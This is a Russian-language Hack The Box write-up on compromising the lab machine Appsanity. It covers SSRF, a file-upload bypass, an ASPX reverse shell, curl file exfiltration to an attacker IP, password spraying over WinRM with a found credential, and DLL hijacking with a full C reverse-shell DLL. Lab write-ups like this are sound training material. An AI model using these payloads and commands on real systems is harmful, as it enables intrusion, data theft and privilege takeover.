HTB Appsanity. Используем DLL Hijacking для повышения привилегий
В этом райтапе я покажу, как можно применять технику перехвата DLL для повышения привилегий в Windows. Но прежде мы атакуем веб‑сайт и получим RCE через комбинацию из SSRF и уязвимости при загрузке файлов.
Наша цель — получение прав суперпользователя на машине Appsanity с учебной площадки Hack The Box. Уровень машины заявлен сложный.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел три открытых порта:
На сервере всего одна точка входа — это веб‑сервер. При этом, как отображено в выводе Nmap, происходит редирект на сайт http://meddigi.htb
. Добавляем этот домен в /etc/hosts
и идем смотреть сайт.
10.10.11.238 appsanity.htb meddigi.htb
Сразу же запускаем сканер поддоменов.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
ffuf -u "https://meddigi.htb/" -H 'Host: FUZZ.meddigi.htb' -t 128 -w subdomains-top1million-110000.txt
Спустя пару минут получаем еще один поддомен, который тоже добавляем в /etc/hosts
.
10.10.11.238 appsanity.htb meddigi.htb portal.meddigi.htb
Теперь перейдем к анализу самих сайтов.
ТОЧКА ВХОДА
Повышение привилегий на сайте
На первом сайте, в отличие от второго, есть возможность регистрации.
Авторизовавшись на сайте, получаем страницу профиля, где есть несколько полей ввода и даже возможность отправить сообщение кому‑то.
Но ничего интересного найти не удалось, поэтому вернемся в самое начало и просмотрим все запросы в Burp History. В глаза бросился параметр Acctype
в запросе на авторизацию.
Выйдем из своего профиля на сайте, активируем перехват запроса в Burp Proxy и снова пройдем авторизацию. Но в этот раз в перехваченном запросе изменим значение параметра Acctype
на 2.
На этот раз мы авторизовались как доктор, и страница профиля содержит новые элементы.
Обход авторизации
Но снова ничего интересного найти не удалось. Однако здесь используется сессия AspNet, а значит, можно проверить токен доступа на другом сайте. Вдруг используется общий механизм авторизации. Для этого копируем cookie с сайта, где мы уже авторизовались, и используем их на portal.meddigi.htb
.
И получаем доступ к другому сайту от имени авторизованного пользователя. Но так как куки вставлялись через Burp, мы не сможем гулять по всему сайту. Давай откроем браузер и закинем токен доступа в хранилище Cookies.
Теперь у нас есть полноценный доступ ко всем механизмам веб‑приложения. На одной из страниц разрешают сохранять документ по ссылке, что может привести к SSRF. На другой странице можно загружать файлы, а это потенциально ведет к возможности залить шелл.
ТОЧКА ОПОРЫ
SSRF
Начинаем с формы сохранения документов по ссылке. Для проверки запускаем на локальной машине веб‑сервер:
А затем указываем тестовую ссылку на этот сервер в поле ввода.
Запрос с сервера приходит на внешний адрес. Теперь нужно проверить, приходит ли на внутренний. Для этого указываем в поле ввода адрес сайта и в открывшемся окошке отмечаем страницу профиля. А значит, можно выполнять запросы на внутренние ресурсы.
На этом этапе нам нужно найти другие внутренние ресурсы, к примеру «сканируя» порты через Burp Intruder. Для этого в Burp Proxy комбинацией клавиш Ctrl-I отправляем запрос в Intruder и указываем в ссылке порт как место перебора. В настройках атаки указываем постоянный редирект.
Результаты сортируем по размеру страницы и находим тот вариант, который отличается от остальных. А значит, на порте 8080 работает еще один сервис.
Этот сервис просто отображает список отчетов. При переходе по ссылке на отчет будет загружен документ PDF.
Здесь больше делать нечего, поэтому переходим к форме загрузки файлов.
File upload to RCE
Сперва загружаем обычный текстовый файл и просматриваем запрос на сервер в Burp Proxy.
При загрузке такого файла получаем ошибку, так как загружать можно только PDF-документы. Я попробовал поменять расширение файла на .pdf, но это тоже ничего полезного не дало. Значит, проверяется содержимое файла. Все нормальные PDF начинаются с определенной последовательности, которую мы добавим в начало загружаемого файла: %PDF-1.7
.
Файл успешно загружен, и мы можем найти его через SSRF на другом ресурсе, где хранятся загруженные отчеты. Даже можем получить содержимое этого файла вот по такой ссылке:
http://127.0.0.1:8080/ViewReport.aspx?file=940d0924-6157-4465-9d56-823d28998e67_test.txt
Так как файл отображен в текстовом виде, мы можем подобным образом загрузить на сервер и реверс‑шелл на ASPX. Я использую следующий код:
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
String host = ""; //CHANGE THIS
int port = ; ////CHANGE THIS CallbackShell(host, port); } [StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO {
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError; }
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION {
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId; }
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES {
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle; }
[DllImport("kernel32.dll")] static extern bool
CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
public static uint INFINITE = 0xFFFFFFFF;
[DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);
internal struct sockaddr_in {
public short sin_family;
public short sin_port;
public int sin_addr;
public long sin_zero; }
[DllImport("kernel32.dll")]
static extern IntPtr GetStdHandle(int nStdHandle); [DllImport("kernel32.dll")]
static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
public const int STD_INPUT_HANDLE = -10;
public const int STD_OUTPUT_HANDLE = -11;
public const int STD_ERROR_HANDLE = -12;
[DllImport("kernel32")] static extern bool AllocConsole(); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags );
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int inet_addr([In] string cp); [DllImport("ws2_32.dll")] private static extern string inet_ntoa(uint ip); [DllImport("ws2_32.dll")] private static extern uint htonl(uint ip); [DllImport("ws2_32.dll")] private static extern uint ntohl(uint ip); [DllImport("ws2_32.dll")] private static extern ushort htons(ushort ip); [DllImport("ws2_32.dll")] private static extern ushort ntohs(ushort ip); [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int send( [In] IntPtr socketHandle, [In] byte[] pinnedBuffer, [In] int len, [In] SocketFlags socketFlags ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int recv( [In] IntPtr socketHandle, [In] IntPtr pinnedBuffer, [In] int len, [In] SocketFlags socketFlags ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int closesocket( [In] IntPtr socketHandle ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern IntPtr accept( [In] IntPtr socketHandle, [In, Out] ref sockaddr_in socketAddress, [In, Out] ref int socketAddressSize ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int listen( [In] IntPtr socketHandle, [In] int backlog );
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int bind( [In] IntPtr socketHandle, [In] ref sockaddr_in socketAddress, [In] int socketAddressSize );
public enum TOKEN_INFORMATION_CLASS {
TokenUser = 1, TokenGroups, TokenPrivileges, TokenOwner, TokenPrimaryGroup, TokenDefaultDacl, TokenSource, TokenType, TokenImpersonationLevel, TokenStatistics, TokenRestrictedSids, TokenSessionId } [DllImport("advapi32", CharSet = CharSet.Auto)] public static extern bool GetTokenInformation( IntPtr hToken, TOKEN_INFORMATION_CLASS tokenInfoClass, IntPtr TokenInformation, int tokeInfoLength, ref int reqLength);
public enum TOKEN_TYPE {
TokenPrimary = 1, TokenImpersonation }
public enum SECURITY_IMPERSONATION_LEVEL {
SecurityAnonymous, SecurityIdentification, SecurityImpersonation, SecurityDelegation }
[DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType, ref IntPtr DuplicateTokenHandle);
const int ERROR_NO_MORE_ITEMS = 259;
[StructLayout(LayoutKind.Sequential)] struct TOKEN_USER {
public _SID_AND_ATTRIBUTES User; }
[StructLayout(LayoutKind.Sequential)]
public struct _SID_AND_ATTRIBUTES {
public IntPtr Sid;
public int Attributes; }
[DllImport("advapi32", CharSet = CharSet.Auto)] public extern static bool LookupAccountSid( [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName, IntPtr pSid, StringBuilder Account, ref int cbName, StringBuilder DomainName, ref int cbDomainName, ref int peUse );
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool ConvertSidToStringSid( IntPtr pSID, [In, Out, MarshalAs(UnmanagedType.LPTStr)]
ref string pStringSid);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle( IntPtr hHandle); [DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)]
bool bInheritHandle, uint dwProcessId); [Flags]
public enum ProcessAccessFlags : uint {
All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VMOperation = 0x00000008, VMRead = 0x00000010, VMWrite = 0x00000020, DupHandle = 0x00000040, SetInformation = 0x00000200, QueryInformation = 0x00000400, Synchronize = 0x00100000 }
[DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] extern static IntPtr GetCurrentThread(); [DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
[DllImport("psapi.dll", SetLastError = true)]
public static extern bool EnumProcessModules(IntPtr hProcess, [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)]
[In][Out] uint[] lphModule, uint cb, [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);
[DllImport("psapi.dll")]
static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);
public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
public const uint PIPE_ACCESS_INBOUND = 0x00000001;
public const uint PIPE_WAIT = 0x00000000;
public const uint PIPE_NOWAIT = 0x00000001;
public const uint PIPE_READMODE_BYTE = 0x00000000;
public const uint PIPE_READMODE_MESSAGE = 0x00000002;
public const uint PIPE_TYPE_BYTE = 0x00000000;
public const uint PIPE_TYPE_MESSAGE = 0x00000004;
public const uint PIPE_CLIENT_END = 0x00000000;
public const uint PIPE_SERVER_END = 0x00000001;
public const uint PIPE_UNLIMITED_INSTANCES = 255;
public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
public const uint NMPWAIT_NOWAIT = 0x00000001;
public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
public const uint GENERIC_READ = (0x80000000);
public const uint GENERIC_WRITE = (0x40000000);
public const uint GENERIC_EXECUTE = (0x20000000);
public const uint GENERIC_ALL = (0x10000000);
public const uint CREATE_NEW = 1;
public const uint CREATE_ALWAYS = 2;
public const uint OPEN_EXISTING = 3;
public const uint OPEN_ALWAYS = 4;
public const uint TRUNCATE_EXISTING = 5;
public const int INVALID_HANDLE_VALUE = -1;
public const ulong ERROR_SUCCESS = 0;
public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
public const ulong ERROR_PIPE_BUSY = 231;
public const ulong ERROR_NO_DATA = 232;
public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
public const ulong ERROR_MORE_DATA = 234;
public const ulong ERROR_PIPE_CONNECTED = 535;
public const ulong ERROR_PIPE_LISTENING = 536;
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateNamedPipe( String lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr pipeSecurityDescriptor ); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool ConnectNamedPipe( IntPtr hHandle, uint lpOverlapped ); [DllImport("Advapi32.dll", SetLastError = true)] public static extern bool ImpersonateNamedPipeClient( IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)] public static extern bool GetNamedPipeHandleState( IntPtr hHandle, IntPtr lpState, IntPtr lpCurInstances, IntPtr lpMaxCollectionCount, IntPtr lpCollectDataTimeout, StringBuilder lpUserName, int nMaxUserNameSize );
protected void CallbackShell(string server, int port) {
string request = "Spawn Shell...\n"; Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
IntPtr oursocket = IntPtr.Zero; sockaddr_in socketinfo;
oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
socketinfo = new sockaddr_in();
socketinfo.sin_family = (short) AddressFamily.InterNetwork; socketinfo.sin_addr = inet_addr(server);
socketinfo.sin_port = (short) htons((ushort)port);
connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo)); send(oursocket, bytesSent, request.Length, 0); SpawnProcessAsPriv(oursocket); closesocket(oursocket); }
protected void SpawnProcess(IntPtr oursocket) {
bool retValue; string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); WaitForSingleObject(pInfo.hProcess, (int)INFINITE); }
protected void SpawnProcessAsPriv(IntPtr oursocket) {
bool retValue; string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
IntPtr DupeToken = new IntPtr(0);
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
if (DupeToken == IntPtr.Zero) retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
else retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
CloseHandle(DupeToken); }
</script>
После загрузки шелла запускаем листенер rlwrap nc -lvp 1234
, обращаемся к файлу и получаем бэкконект. В сессии пользователя svc_exampanel
можем прочитать первый флаг.
ПРОДВИЖЕНИЕ
В системе несколько пользователей с приставкой svc_
, видимо, каждый из них отвечает за определенный веб‑сервис.
Перейдем в каталог веб‑сервера и просмотрим, какие еще есть веб‑приложения.
Потратив некоторое время на блуждание по каталогам в поисках информации для продвижения, я остановился на сервисе ExaminationPanel
. Рабочий каталог приложения содержит несколько библиотек .NET.
Библиотека ExaminationManagement.dll
— самописная, поэтому скачиваем ее для дальнейшего анализа. Для получения файлов с удаленного хоста очень удобно и быстро использовать мой веб‑сервер с возможностью загрузки файлов, выполненный в виде небольшого скрипта на Python.
На локальном хосте запускаем сам веб‑сервер:
python3 HTTPServerWithUpload.py 80
А на удаленном хосте, с которого нужно увести файл, используем curl для загрузки.
curl -v -X POST http://10.10.16.8/ -H "Content-Type: multipart/form-data" -F file=@C:\inetpub\ExaminationPanel\ExaminationPanel\bin\ExaminationManagement.dll
Приложения .NET очень легко декомпилируются, к примеру с помощью dnSpy (увы, давно заброшенного). Просматривая исходники разных классов, находим ветку реестра с какими‑то секретными данными.
Получаем данные из этой ветки реестра.
reg query HKLM\Software\MedDigi
Похоже не просто на ключ шифрования, а на целый пароль. Просто поспреим его по всем пользователям на службе WinRM при помощи утилиты CrackMapExec.
crackmapexec winrm 10.10.11.238 -u users.txt -p '1g0tTh3R3m3dy!!'
Мы обнаружили одну учетную запись, которая проходит авторизацию в службе. Получаем сессию пользователя с помощью Evil-WinRM и продвигаемся к повышению привилегий.
evil-winrm -i 10.10.11.238 -u devdoc -p '1g0tTh3R3m3dy!!'
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипт из набора PEASS для Windows.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Давай пройдемся по наиболее интересным находкам скрипта.
Среди установленных приложений значится некий ReportManagement.
Также прослушивается локальный порт 100.
Перейдем в каталог приложения C:\Program Files\ReportManagement\
и просмотрим файлы.
Скачиваем файл для анализа и закидываем в любой удобный дизассемблер с декомпилятором. Я использую IDA Pro.
curl -v -X POST http://10.10.16.8/ -H "Content-Type: multipart/form-data" -F file=@"C:\Program Files\ReportManagement\ReportManagement.exe"
Начинаем с просмотра строк (F12
).
Находим что‑то похожее на меню, переходим к месту использования строки, после чего вызываем декомпилятор.
Итак, приложение предлагает использовать одну из нескольких команд: backup
, validate
, recover
или upload
. Если просмотреть код с самого начала, находим фрагмент, где прослушивается соединение на уже известном нам порте 100.
Приходится просматривать слишком много кода, но ничего интересного, кроме команды upload
, не находим.
В коде упомянут каталог Libraries
в директории приложения. Чтобы лучше понимать, что происходит, запустим Process Monitor и добавим в фильтры имя приложения.
Запускаем приложение, подключаемся к порту 100 (nc vm_address 100
) и вводим команду upload asdasd
. В логах Process Monitor отмечается, что нужного каталога не существует.
Создаем такой каталог на своей виртуальной машине и повторяем операции. На этот раз в логах отмечен поиск внутри созданного каталога.
Таким образом, нам нужно указывать на файл, который расположен в каталоге Libraries
. Причем, как следует из кода далее, подгружен должен быть файл с расширением .dll
и именем externalupload
.
Как можно видеть, ответ сервера при передаче команде upload
файла externalupload.dll
отличается от остальных, причем сервер пытается подгрузить эту библиотеку.
DLL Hijacking
Теперь проверим, можем ли мы записывать в нужный каталог на веб‑сервере. И, как показала утилита icacls
, наш пользователь такое право имеет.
Таким образом, мы можем сделать вредоносную DLL, положить в нужный каталог и инициировать загрузку привилегированным процессом. Однако порт 100 работает только для внутреннего адреса, поэтому придется сделать туннель. Для этого будем использовать chisel.
На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse
) на порт 8888 (параметр -p
).
chisel server --port 8888 --reverse
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля R
для ретрансляции трафика с порта 100 нашего локального сервера на порт 100 удаленного сервера 127.0.0.1.
chisel.exe client 10.10.16.26:8888 R:100:127.0.0.1:100
В логах сервера должны увидеть сообщение о создании сессии.
Осталось создать DLL с реверс‑шеллом на порт 4321.
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "w2_32")
WSADATA wsaData;
SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
void go() {
// listener ip, port on attacker’s machine
char *ip = "10.10.16.26";
short port = 4321;
// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);
// create socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip);
// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES; sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;
// start cmd.exe with redirected streams
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: go();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break; }
return TRUE;}
Теперь одной командой компилируем DLL-файл, после чего размещаем нашу либу в каталоге приложения.
x86_64-w64-mingw32-gcc -w -Wall -o externalupload.dll -shared revshell.c -lws2_32
Открываем листенер на порте 4321, подключаемся к приложению и инициируем загрузку DLL. Полученная сессия будет от имени администратора.